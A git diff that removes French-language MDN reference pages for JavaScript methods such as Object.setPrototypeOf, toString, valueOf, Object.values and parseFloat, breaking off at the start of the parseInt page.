diff --git a/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html deleted file mode 100644 index 67ec870d90..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/setprototypeof/index.html +++ /dev/null @@ -1,210 +0,0 @@ ---- -title: Object.setPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Object/setPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf ---- -
{{JSRef}}
- -
-

Attention : Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le [[Prototype]] d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer Object.setPrototypeOf, mais peuvent concerner n'importe quel code pour n'importe quel objet dont [[Prototype]] a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le [[Prototype]] d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object/create","Object.create()")}}

-
- -

La méthode Object.setPrototypeOf() définit le prototype (autrement dit la propriété interne [[Prototype]]) d'un objet donné avec un autre objet ou {{jsxref("null")}}.

- -

Syntaxe

- -
Object.setPrototypeOf(obj, prototype)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite définir le prototype.
-
prototype
-
Le nouveau prototype de l'objet (un objet ou null).
-
- -

Valeur de retour

- -

L'objet sur lequel on a défini le prototype.

- -

Description

- -

Cette méthode renvoie une exception {{jsxref("TypeError")}} si l'objet dont on souhaite modifier le [[Prototype]] est non-extensible selon {{jsxref("Object.isExtensible")}}.  Cette méthode ne fait rien si le paramètre prototype n'est ni un objet ni {{jsxref("null")}} (par exemple : un nombre, une chaîne, un booléen ou {{jsxref("undefined")}}).  Dans les autres cas, cette méthode substitue le [[Prototype]] de obj avec un nouvel objet.

- -

Object.setPrototypeOf() fait partie de la spécification ECMAScript 2015. L'utilisation de cette méthode est considérée comme la façon correcte pour modifier le prototype d'un objet (contrairement à la propriété {{jsxref("Object/proto","Object.prototype.__proto__")}} plus controversée).

- -

Exemples

- -
var dict = Object.setPrototypeOf({}, null);
-
- -

Prothèse d'émulation (polyfill)

- -

En utilisant la propriété {{jsxref("Object.proto", "Object.prototype.__proto__")}}, on peut définir Object.setPrototypeOf si elle n'est pas disponible :

- -
// Cette prothèse ne fonctionne pas pour IE
-Object.setPrototypeOf = Object.setPrototypeOf || function (obj, proto) {
-  obj.__proto__ = proto;
-  return obj;
-}
- -

Ajouter une chaîne de prototypes à un objet

- -

En combinant Object.getPrototypeOf() et {{jsxref("Object.proto", "Object.prototype.__proto__")}} on peut ajouter une chaîne de prototypes au nouveau prototype d'un objet :

- -
/**
-*** Object.setPrototypeOf(@object, @prototype)
-* Change le prototype d'une instance
-*
-**/
-
-Object.setPrototypeOf = function (oInstance, oProto) {
-  oInstance.__proto__ = oProto;
-  return oInstance;
-};
-
-/**
-*** Object.appendChain(@object, @prototype)
-*
-* Ajoute le premier prototype non-natif d'une chaîne au nouveau prototype.
-* Renvoie @object (si c'est une valeur primitive, elle sera transformée
-* en objet).
-*
-*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
-*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
-*
-* Ajoute le premier prototype non-natif d'une chaîne à l'objet Function.prototype
-* puis ajoute new Function(["@arg"(s)], "@function_body") à cette chaîne.
-* Renvoie la fonction.
-*
-**/
-
-Object.appendChain = function (oChain, oProto) {
-  if (arguments.length < 2) {
-    throw new TypeError("Object.appendChain - Pas suffisamment d'arguments");
-  }
-  if (typeof oProto !== 'object' && typeof oProto !== 'string') {
-   throw new TypeError("le deuxième argument de Object.appendChain doit être un objet ou une chaîne");
-  }
-
-  var oNewProto = oProto, oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
-
-  for (var o1st = this.getPrototypeOf(o2nd); o1st !== Object.prototype && o1st !== Function.prototype; o1st = this.getPrototypeOf(o2nd)) {
-    o2nd = o1st;
-  }
-
-  if (oProto.constructor === String) {
-    oNewProto = Function.prototype;
-    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
-    this.setPrototypeOf(oReturn, oLast);
-  }
-
-  this.setPrototypeOf(o2nd, oNewProto);
-  return oReturn;
-}
-
- -

Utilisation

- -

Ajouter une chaîne de prototypes à un prototype

- -
function Mammifère () {
-  this.isMammifère = "oui";
-}
-
-function EspèceMammifère (sEspèceMammifère) {
-  this.espèce = sEspèceMammifère;
-}
-
-EspèceMammifère.prototype = new Mammifère();
-EspèceMammifère.prototype.constructor = EspèceMammifère;
-
-var oChat = new EspèceMammifère("Felis");
-
-console.log(oChat.isMammifère); // "oui"
-
-function Animal () {
-  this.respire = "oui";
-}
-
-Object.appendChain(oChat, new Animal());
-
-console.log(oChat.respire); // "oui"
-
- -

Deuxième exemple : Transformer une valeur primitive en une instance de son constructeur et ajouter sa chaîne à un prototype

- -
function MySymbol () {
-  this.isSymbol = "yes";
-}
-
-var nPrime = 17;
-
-console.log(typeof nPrime); // "number"
-
-var oPrime = Object.appendChain(nPrime, new MySymbol());
-
-console.log(oPrime); // "17"
-console.log(oPrime.isSymbol); // "yes"
-console.log(typeof oPrime); // "object"
-
- -

Troisième exemple : Ajouter une chaîne de prototypes à l'objet Function.prototype object et ajouter une nouvelle fonction à cette chaîne

- -
function Personne (sNom) {
-  this.identité = sNom;
-}
-
-var george = Object.appendChain(new Person("George"),
-                                "console.log(\"Salut !!\");");
-
-console.log(george.identité); // "George"
-george(); // "Salut !!"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.setPrototypeOf")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Reflect.setPrototypeOf()")}}
    • -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
  • {{jsxref("Object/proto","Object.prototype.__proto__")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html deleted file mode 100644 index 1a8069abcf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/tolocalestring/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Object.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/Object/toLocaleString -tags: - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() renvoie une chaine de caractères représentant l'objet. Cette méthode est destinée à être surchargée par les objets dérivés à des fins spécifiques pour prendre en compte les locales.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}
- - - -

Syntaxe

- -
obj.toLocaleString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente l'objet en tenant compte de la locale.

- -

Description

- -

La méthode toLocaleString renvoie le résultat de l'appel à la méthode {{jsxref("Object.toString", "toString()")}}.

- -

Cette fonction est destinée à fournir aux objets une méthode générique toLocaleString, même si tous ne peuvent l'utiliser. Voir la liste ci-dessous.

- -

Objets surchargeant la méthode toLocaleString

- -
    -
  • {{jsxref("Array")}} : {{jsxref("Array.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Number")}} : {{jsxref("Number.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date")}} : {{jsxref("Date.prototype.toLocaleString()")}}
    • -
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.toLocaleString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html deleted file mode 100644 index b86197d864..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/tosource/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Object.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Object/toSource -tags: - - JavaScript - - Méthode - - Non-standard - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

La méthode toSource() renvoie une chaîne de caractères représentant le code source d'un objet.

- -

Syntaxe

- -
Object.toSource();
-obj.toSource();
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source de l'objet.

- -

Description

- -

La méthode toSource() renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("Object")}}, toSource() renvoie la chaîne suivante, qui indique que le code source n'est pas disponible : - - 
    function Object() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances de {{jsxref("Object")}}, toSource() renvoie une chaîne représentant le code source.
    • -
- -

La méthode toSource() peut être utilisée à des fins de débogage pour analyser le contenu d'un objet.

- -

Surcharger la méthode toSource()

- -

La méthode toSource() peut être surchargée pour les différents objets. Par exemple :

- -
function Personne(nom) {
-  this.nom = nom;
-}
-
-Personne.prototype.toSource = function Personne_toSource() {
-  return 'new Personne(' + uneval(this.nom) + ')';
-};
-
-console.log(new Personne('Jean').toSource()); // ---> new Personne("Jean")
-
- -

Les méthodes toSource() natives

- -

Chaque constructeur natif JavaScript possède sa propre méthode toSource(). Ces objets sont :

- -
    -
  • {{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Array")}}.
    • -
  • {{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Boolean")}}.
    • -
  • {{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Date")}}.
    • -
  • {{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Function")}}.
    • -
  • {{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Number")}}.
    • -
  • {{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("RegExp")}}.
    • -
  • {{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("String")}}.
    • -
  • {{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Symbol")}}.
    • -
  • Math.toSource() — Renvoie "Math".
    • -
- -

Limites : les objets cycliques

- -

Dans le cas d'objets qui font référence à eux-mêmes (une liste cyclique ou un arbre), toSource() ne représentera pas la référence (Firefox 24). Par exemple :

- -
var obj1 = {};
-var obj2 = { a: obj1 };
-obj1.b = obj2;
-
-console.log('Cyclique : ' + (obj1.b.a == obj1));
-
-var objSource = obj1.toSource(); // renvoie "({b:{a:{}}})"
-
-obj1 = eval(objSource);
-
-console.log('Cyclique : ' + (obj1.b.a == obj1));
-
- -

Si on utilise une structure cyclique et qu'on a besoin de toSource(), il faudra surcharger la méthode toSource() pour avoir le comportement souhaité.

- -

Exemples

- -

Utiliser toSource()

- -

Dans le code qui suit, on définit un objet Chien et on crée monChien qui est une instance de type Chien :

- -
function Chien(nom, race, couleur, sexe) {
-  this.nom = nom;
-  this.race = race;
-  this.couleur = couleur;
-  this.sexe = sexe;
-}
-
-monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
-
- -

Si on appelle la méthode toSource() sur monChien, on obtiendra le littéral permettant de définir l'objet :

- -
monChien.toSource();
-// returns ({nom:"Gabby", race:"Labrador", couleur:"chocolat", sexe:"femelle"})
-
- -

Spécifications

- -

Cette méthode ne fait partie d'aucun standard, implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.toSource")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html deleted file mode 100644 index 4d25f9b107..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/tostring/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Object.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Object/toString -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères représentant l'objet.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}
- - - -

Syntaxe

- -
obj.toString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant l'objet.

- -

Description

- -

Chaque object possède une méthode toString() qui est appelée de façon automatique à chaque fois que l'objet doit être représenté sous forme de texte ou à chaque fois qu'on utilise un objet et que la valeur attendue est une chaîne de caractères. Par défaut, chaque objet qui descend d'Object hérite de la méthode toString(). Si cette méthode n'est pas surchargée, toString() renvoie "[object type]", où type est le type de l'objet. Par exemple :

- -
var o = new Object();
-o.toString();           // renvoie [object Object]
-
- -
-

Note : À partir de JavaScript 1.8.5 toString(), lorsqu'elle est appelée sur {{jsxref("null")}} renvoie [object Null], et lorsqu'elle est appelée sur {{jsxref("undefined")}} renvoie [object Undefined], ce qui est conforme à ECMAScript 5 et aux errata qui ont suivis. Voir l'exemple ci-après Utiliser toString pour détecter le type d'un objet.

-
- -

Exemples

- -

Surcharger la méthode toString() par défaut

- -

Il est possible de surcharger la méthode toString(). La méthode toString() ne prend pas d'argument et doit renvoyer une chaîne de caractères. La méthode toString() peut renvoyer n'importe quelle valeur mais elle sera plus pertinente si elle renvoie des informations sur l'objet courant.

- -

Le code qui suit définit un type d'objet Chien et instancie monChien, qui est de type Chien :

- -
function Chien(nom, race, couleur, sexe) {
-  this.nom = nom;
-  this.race = race;
-  this.couleur = couleur;
-  this.sexe = sexe;
-}
-
-monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
-
- -

Si on appelle la méthode toString() sur cet objet, on aura le résultat suivant (provenant de la méthode originale, héritée d'{{jsxref("Object")}}) :

- -
monChien.toString(); // renvoie [object Object]
-
- -

Dans le code qui suit, on surcharge la méthode toString() avec chienToString(). Cette méthode produit une chaîne qui contient l'ensemble des propriétés (race, couleur, sexe, nom) de l'objet :

- -
Chien.prototype.toString = function chienToString() {
-  var ret = 'Le chien ' + this.nom + ' est un ' + this.race + ' ' + this.sexe + ' ' + this.couleur;
-  return ret;
-}
-
- -

En utilisant la fonction ci-avant, à chaque fois que monChien sera utilisé là où on attend une chaîne, le moteur JavaScript appellera automatique la fonction chienToString()qui renverra la chaîne suivante :

- -
Le chien Gabby est un labrador femelle chocolat.
-
- -

Utiliser toString() pour détecter le type d'un objet

- -

toString() peut être utilisée pour tous les objets afin d'obtenir son type. Pour utiliser Object.prototype.toString() avec n'importe quel objet, il sera nécessaire d'appeler {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} (pour éviter les versions surchargées).

- -
var toString = Object.prototype.toString;
-
-toString.call(new Date);    // [object Date]
-toString.call(new String);  // [object String]
-toString.call(Math);        // [object Math]
-
-// Depuis JavaScript 1.8.5
-toString.call(undefined);   // [object Undefined]
-toString.call(null);        // [object Null]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}{{Spec2('ES5.1')}}Lorsque la méthode est appelée sur {{jsxref("null")}}, elle renvoie [object Null], et sur {{jsxref( "undefined")}} elle renvoie [object Undefined]
{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.toString")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
  • {{jsxref("Number.prototype.toString()")}}
    • -
  • {{jsxref("Symbol.toPrimitive")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html deleted file mode 100644 index fea1e23cc0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/valueof/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Object.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/Object/valueOf -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive d'un objet donné.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}
- - - -

Syntaxe

- -
object.valueOf()
- -

Valeur de retour

- -

La valeur primitive de l'objet appelant.

- -

Description

- -

JavaScript appelle la méthode valueOf pour convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler soi-même la méthode valueOf ; JavaScript l'invoque automatiquement lorsqu'il rencontre un objet alors qu'il attend une valeur primitive.

- -

Par défaut, la méthode valueOf est héritée par tout objet descendant d'{{jsxref("Object")}}. Tous les objets globaux natifs redéfinissent cette méthode pour renvoyer une valeur appropriée. Si un objet n'a pas de valeur primitive, valueOf renvoie l'objet lui-même, ce qui sera affiché comme :

- -
[object Object]
-
- -

valueOf peut être utilisée afin de convertir un objet prédéfini en une valeur primitive. Si un objet est défini dans un script, il est possible de surcharger Object.prototype.valueOf pour appeler une méthode personnalisée au lieu de la méthode par défaut d'Object.

- -

Surcharger valueOf pour des objets personnalisés

- -

Il est possible de créer une fonction à appeler à la place de la méthode valueOf par défaut. Celle-ci ne peut pas recevoir de paramètres.

- -

Supposons qu'on ait un type d'objet monTypeDeNombre et qu'on désire lui ajouter une méthode valueOf spécifique, on pourra utiliser le code suivant :

- -
monTypeDeNombre.prototype.valueOf = function(){ return valeurPrimitive;};
-
- -

En utilisant ce code, chaque fois qu'un objet de type monTypeDeNombre sera utilisé dans un contexte où il doit être représenté comme une valeur primitive, JavaScript appellera automatiquement la fonction qui y est définie.

- -

C'est habituellement JavaScript qui invoquera la méthode valueOf, mais il est aussi possible de l'appeler soi-même :

- -
monNombre.valueOf()
-
- -
-

Note : Les objets à utiliser dans un contexte textuel sont convertis avec la méthode {{jsxref("Object.toString", "toString()")}} ce qui est différent de la conversion d'objets {{jsxref("String")}} en valeurs primitives avec valueOf. Tous les objets peuvent être convertis en chaînes de caractères (la façon la plus générique étant "[object type]"). En revanche, la plupart des objets ne peut pas être convertie en nombre ou booléen par exemple.

-
- -

Exemples

- -

Utiliser valueOf

- -
function MonTypeDeNombre(n) {
-    this.nombre = n;
-}
-
-MonTypeDeNombre.prototype.valueOf = function(){
-  return this.nombre;
-}
-
-var monObj = new MonTypeDeNombre(4);
-console.log(monObj + 3); // 7 car l'opération a implicitement utilisé valueOf
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
  • {{jsxref("parseInt", "parseInt()")}}
    • -
  • {{jsxref("Symbol.toPrimitive")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/values/index.html b/files/fr/web/javascript/reference/objets_globaux/object/values/index.html deleted file mode 100644 index f1630341fa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/values/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Object.values() -slug: Web/JavaScript/Reference/Objets_globaux/Object/values -tags: - - ECMAScript2016 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/values ---- -
{{JSRef}}
- -

La méthode Object.values() renvoie un tableau contenant les valeurs des propriétés propres énumérables d'un objet dont l'ordre est le même que celui obtenu avec une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle for-in est différente car elle parcourt également les propriétés héritées).

- -
{{EmbedInteractiveExample("pages/js/object-values.html")}}
- - - -

Syntaxe

- -
Object.values(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite connaître les valeurs des propriétés propres énumérables.
-
- -

Valeur de retour

- -

Un tableau dont les éléments sont les valeurs des propriétés énumérables de l'objet passé en argument.

- -

Description

- -

Object.values() renvoie un tableau dont les éléments sont les valeurs des propriétés énumérables directement rattachées à l'objet passé en argument. L'ordre du tableau est le même que celui obtenu lorsqu'on parcourt les propriétés manuellement.

- -

Exemples

- -
var obj = { toto: "truc", machin: 42 };
-console.log(Object.values(obj)); // ['truc', 42]
-
-// un objet semblable à un tableau
-var obj = { 0: 'a', 1: 'b', 2: 'c' };
-console.log(Object.values(obj)); // ['a', 'b', 'c']
-
-// un objet semblable à un tableau
-// dont les clés sont ordonnées aléatoirement
-// lorsque des clés numériques sont utilisées, les valeurs sont
-// renvoyées selon l'ordre numérique des clés
-var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
-console.log(Object.values(un_obj)); // ['b', 'c', 'a']
-
-// getToto est une propriété qui
-// n'est pas énumérable
-var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
-mon_obj.toto = "truc";
-console.log(Object.values(mon_obj)); // ['truc']
-
-// un argument de type primitif sera
-// converti en un objet
-console.log(Object.values("toto")); // ['t', 'o', 't', 'o']
-
- -

Prothèse d'émulation (polyfill)

- -

Afin d'ajouter le support pour Object.values dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt tc39/proposal-object-values-entries ou sur le dépôt es-shims/Object.values.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-object.values', 'Object.values')}}{{Spec2('ES8')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.values")}}

-
- -

Voir aussi

- -
    -
  • Énumérabilité et rattachement des propriétés
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Object.entries()")}}
    • -
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • -
  • {{jsxref("Object.create()")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html b/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html deleted file mode 100644 index aea43383fb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/parsefloat/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: parseFloat() -slug: Web/JavaScript/Reference/Objets_globaux/parseFloat -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat ---- -
{{jsSidebar("Objects")}}
- -

La fonction parseFloat() permet de transformer une chaîne de caractères en un nombre flottant après avoir analysée celle-ci (parsing).

- -
{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}
- - - -

Syntaxe

- -
parseFloat(string)
- -

Paramètres

- -
-
string
-
Une chaîne de caractères la valeur qu'on souhaite analyser et transformer en un nombre flottant.
-
- -

Valeur de retour

- -

Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet pas d'obtenir un nombre, ce sera la valeur {{jsxref("NaN")}} qui sera renvoyée.

- -

Description

- -

parseFloat est une fonction non associée à un objet, disponible au plus haut niveau de l'environnement JavaScript.

- -

parseFloat analyse l'argument fourni sous la forme d'une chaîne de caractères et renvoie un nombre flottant correspondant. L'analyse de la chaîne s'arrête dès qu'un caractère qui n'est pas +,-, un chiffre, un point ou un exposant. Ce caractère, ainsi que les suivants, seront ignorés. Les blancs en début et en fin de chaîne sont autorisés.

- -
-

Note : Si on souhaite avoir un outil de conversion plus strict, on pourra utiliser {{jsxref("Number", "Number(valeur)")}} qui utilise une analyse plus stricte et qui fournit {{jsxref("NaN")}} pour les valeurs qui contiennent des caractères invalides, quelle que soit leur position.

-
- -

Si le premier caractère de la chaîne ne peut pas être converti en un nombre, parseFloat() renverra NaN.

- -

Pour des raisons arithmétiques, la valeur NaN n'est jamais un nombre, quelle que soit la base considérée. On peut utiliser la méthode {{jsxref("isNaN")}} afin de déterminer si le résultat obtenu par parseFloat() est NaN. Si NaN est passé comme valeur lors d'opérations arithmétiques, ces opérations renverront également NaN comme résultat.

- -

parseFloat() peut également analyser et renvoyer la valeur {{jsxref("Infinity")}} qui représente l'infini numérique. Ici, on pourra utiliser la fonction {{jsxref("isFinite()")}} afin de déterminer si le résultat obtenu est un nombre fini (c'est-à-dire qui n'est ni Infinity, ni -Infinity, ni NaN).

- -

parseFloat() peut également analyser un objet si celui-ci implémente la méthode toString() ou valueOf(). La valeur renvoyée par parseFloat() le résultat de parseFloat() appliqué à la valeur renvoyée par toString() ou valueOf() .

- -

parseFloat() convertit une valeur {{jsxref("BigInt")}} en une valeur {{jsxref("Number")}} et perd ainsi en précision car toutes les valeurs BigInt ne sont pas représentables en Number.

- -

Exemples

- -

Utiliser parseFloat() pour renvoyer un nombre

- -

Les instructions suivantes renvoient toutes la valeur 3.14 :

- -
parseFloat("3.14");
-parseFloat("314e-2");
-parseFloat("0.0314E+2");
-parseFloat("3.14d'autres caractères non numériques");
-
-var titi = Object.create(null);
-titi.valueOf = function () { return "3.14"; };
-parseFloat(titi);​​​​​
-
- -

Utiliser parseFloat() pour renvoyer NaN

- -

Dans cet exemple, le résultat obtenu est {{jsxref("NaN")}} :

- -
parseFloat("FF2");
-
- -

parseFloat et BigInt

- -
parseFloat(900719925474099267n);
-// 900719925474099300
- -

Une fonction plus stricte

- -

Si on souhaite éviter de convertir des chaînes qui contiennent des caractères non numériques, on pourra utiliser une expression rationnelle pour filtrer ces valeurs (et obtenir une fonction plus stricte que parseFloat()) :

- -
var filterFloat = function (value) {
-    if (/^(\-|\+)?([0-9]+(\.[0-9]+)?|Infinity)$/
-      .test(value))
-      return Number(value);
-  return NaN;
-}
-
-console.log(filterFloat('421'));               // 421
-console.log(filterFloat('-421'));              // -421
-console.log(filterFloat('+421'));              // 421
-console.log(filterFloat('Infinity'));          // Infinity
-console.log(filterFloat('1.61803398875'));     // 1.61803398875
-console.log(filterFloat('421e+0'));            // NaN
-console.log(filterFloat('421hop'));            // NaN
-console.log(filterFloat('hop1.61803398875'));  // NaN
-
-
- -

Attention : ce code n'est qu'un exemple et renverra NaN pour des valeurs pourtant valides comme 1. ou .5.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.parseFloat")}}

- -

Voir aussi

- -
    -
  • {{jsxref("parseInt", "parseInt()")}}
    • -
  • {{jsxref("Number.parseFloat()")}}
    • -
  • {{jsxref("Number.parseInt()")}}
    • -
  • {{jsxref("Number.toFixed()")}}
    • -
  • {{jsxref("isNaN", "isNaN()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/parseint/index.html b/files/fr/web/javascript/reference/objets_globaux/parseint/index.html deleted file mode 100644 index 250e4edb78..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/parseint/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: parseInt() -slug: Web/JavaScript/Reference/Objets_globaux/parseInt -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/parseInt ---- -
{{jsSidebar("Objects")}}
- -

La fonction parseInt() analyse une chaîne de caractère fournie en argument et renvoie un entier exprimé dans une base donnée.

- -
